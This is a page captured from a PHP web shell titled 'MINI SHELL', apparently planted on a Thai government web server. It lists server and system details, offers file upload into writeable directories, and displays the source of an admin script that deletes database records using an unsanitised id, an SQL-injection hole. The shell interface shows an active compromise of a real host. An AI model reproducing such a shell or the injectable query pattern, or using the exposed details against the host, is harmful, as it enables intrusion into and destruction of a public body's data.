MINI SHELL

Server : Apache/2.2.2 (Fedora)
System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686
User : apache ( 48)
PHP Version : 5.2.9
Disable Function : NONE
Directory :  /var/www/html/pathumthani_vc/report/pdir/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/pathumthani_vc/report/pdir/admin/office_del2.php
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html><head><title>Untitled Document</title>
<meta http-equiv="Content-Type" content="text/html; charset=windows-874">
</head>
<body>
<?
 include ("../../../inc/conndb.inc.php");
$sql0 = " SELECT   *   FROM  login   WHERE   office_refid  =  '$id'  ";
$query_result0 = mysql_db_query($dbname,$sql0)   ;

 		$result0 = mysql_fetch_array($query_result0);
 		$login_id =  $result0[id]  ;
		
		$sql = "delete from office_detail   where id = '$id' ";	 
		if (!($query_result = mysql_db_query($dbname,$sql))){
				echo mysql_error();    die;   echo "$sql <hr>";
		} 
		$sql = "delete from login   where  office_refid  = '$id' ";	 
		if (!($query_result = mysql_db_query($dbname,$sql))){
				echo mysql_error();    die;   echo "$sql <hr>";
		} 		
		$sql = "delete from login_detail   where  id  = '$login_id' ";	 
		if (!($query_result = mysql_db_query($dbname,$sql))){
				echo mysql_error();    die;   echo "$sql <hr>";
		} 				

?>
<script  language="javascript">
	opener.document.location.reload();	
    window.close();
</script>				
</body>
</html>

Anon7 - 2021